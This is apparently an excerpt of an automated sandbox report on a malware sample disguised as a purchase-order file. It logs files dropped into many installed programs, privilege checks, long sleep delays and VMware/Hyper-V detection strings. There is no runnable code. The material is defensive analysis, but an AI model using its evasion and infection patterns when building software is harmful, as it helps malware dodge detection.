Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.ShowHelp.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\Uninstall.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\setup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\IntegratedOffice.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Dropped PE file which has not been started: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\elevation_service.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Install\{6BB58CDD-A64E-41C8-8D92-79A516D3D118}\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Windows\System32\SensorDataService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_25-5737
Source: C:\Windows\System32\snmptrap.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_26-5725
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_18-10412
Source: C:\Windows\System32\wbengine.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_19-5619
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_9-61550
Source: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_21-5423
Source: C:\Windows\System32\vds.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\FXSSVC.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_17-5652
Source: C:\Windows\System32\msdtc.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_20-5641
Source: C:\Windows\System32\Spectrum.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\OpenSSH\ssh-agent.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\AgentService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\AppVClient.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_15-5709
Source: C:\Windows\System32\TieringEngineService.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\Locator.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_24-5757

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe TID: 7336	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7784	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7964	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7872	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\alg.exe TID: 7920	Thread sleep time: -90000s >= -30000s
Source: C:\Windows\System32\alg.exe TID: 7896	Thread sleep time: -60000s >= -30000s
Source: C:\Windows\System32\msdtc.exe TID: 2724	Thread sleep count: 469 > 30
Source: C:\Windows\System32\msdtc.exe TID: 2724	Thread sleep time: -46900s >= -30000s
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe TID: 7744	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4580	Thread sleep count: 1856 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4580	Thread sleep time: -18560000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4580	Thread sleep count: 8110 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe TID: 4580	Thread sleep time: -81100000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_00F4DF57 FindFirstFileW,

9_2_00F4DF57

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\alg.exe	Thread delayed: delay time: 60000
Source: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\java.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaw.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath\javaws.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Program Files (x86)\common files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior

Source: Spectrum.exe, 0000001B.00000002.2622744368.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;Microsoft Hyper-V Generation Counter\
Source: SensorDataService.exe, 00000019.00000003.1528720544.0000000000574000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Deviceb
Source: Spectrum.exe, 0000001B.00000003.1442834952.0000000000640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MicStandard USB 3.1 eXtensible Host Controller - 1.0 (Microsoft) Host Controller - %3 (Microsoft);(Standard,3.1,1.0)sk&Ven_VMware&Pro
Source: SensorDataService.exe, 00000019.00000003.1431266016.0000000000571000.00000004.00000020.00020000.00000000.sdmp, SensorDataService.exe, 00000019.00000003.1430472165.0000000000571000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1443011792.0000000000643000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1444167092.000000000065A000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1444015317.000000000065A000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1441055520.0000000000640000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1442834952.0000000000640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Drivertion Infrastructure Driver
Source: SensorDataService.exe, 00000019.00000003.1528720544.0000000000574000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: vbc.exe, 00000009.00000002.2747734535.0000000009D0E000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2639227237.0000000000C95000.00000004.00000020.00020000.00000000.sdmp, vbc.exe, 00000009.00000002.2747734535.0000000009C82000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1644079696.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1750547017.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1658196532.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1672024294.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1520674414.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SensorDataService.exe, 00000019.00000003.1430472165.0000000000562000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1441055520.0000000000631000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wgencounter.inf,%gencounter.devicedesc%;Microsoft Hyper-V Generation Counter
Source: Spectrum.exe, 0000001B.00000003.1442834952.0000000000640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware VMCI Bus Devicesdevicedesc%;VMware VMCI Bus Device.
Source: SensorDataService.exe, 00000019.00000003.1528720544.0000000000574000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 0000001B.00000002.2622744368.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft Hyper-V Generation CounterO
Source: SensorDataService.exe, 00000019.00000003.1528720544.0000000000574000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00L
Source: snmptrap.exe, 0000001A.00000002.2614609845.0000000000448000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllRRw
Source: Spectrum.exe, 0000001B.00000003.1442834952.0000000000640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&00000097
Source: vbc.exe, 0000002A.00000002.2639214777.0000000000DEC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: SensorDataService.exe, 00000019.00000003.1430472165.0000000000562000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1441055520.0000000000631000.00000004.00000020.00020000.00000000.sdmp, Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: @wvid.inf,%vid.devicedesc%;Microsoft Hyper-V Virtualization Infrastructure Driver`
Source: ssh-agent.exe, 0000001C.00000002.2624160385.000000000059C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll99
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: zdVMware Virtual USB MouseC:\Windows\System32\DDORes.dll,-2212
Source: alg.exe, 0000000B.00000003.1644079696.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1750547017.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1658196532.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1672024294.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1520674414.0000000000531000.00000004.00000020.00020000.00000000.sdmp, alg.exe, 0000000B.00000003.1970878645.0000000000531000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP.
Source: RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1426195581.0000000004FB7000.00000004.00000800.00020000.00000000.sdmp, RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1465820251.000000000B780000.00000004.08000000.00040000.00000000.sdmp, RFQ_PO N89397-GM7287-Order.bat.exe, 00000000.00000002.1439374797.00000000060E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bhgfSFZU2YsoW1Ik80n
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 4NECVMWar VMware SATA CD00
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000062F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: v@oem2.inf,%loc.vmwarebusdevicedesc%;VMware VMCI Bus Device
Source: Spectrum.exe, 0000001B.00000002.2624489595.0000000000661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: fSCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
Source: Spectrum.exe, 0000001B.00000002.2624489595.0000000000661000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Spectrum.exe, 0000001B.00000003.1444015317.000000000063E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00
Source: Spectrum.exe, 0000001B.00000003.1442834952.0000000000640000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00`[`[
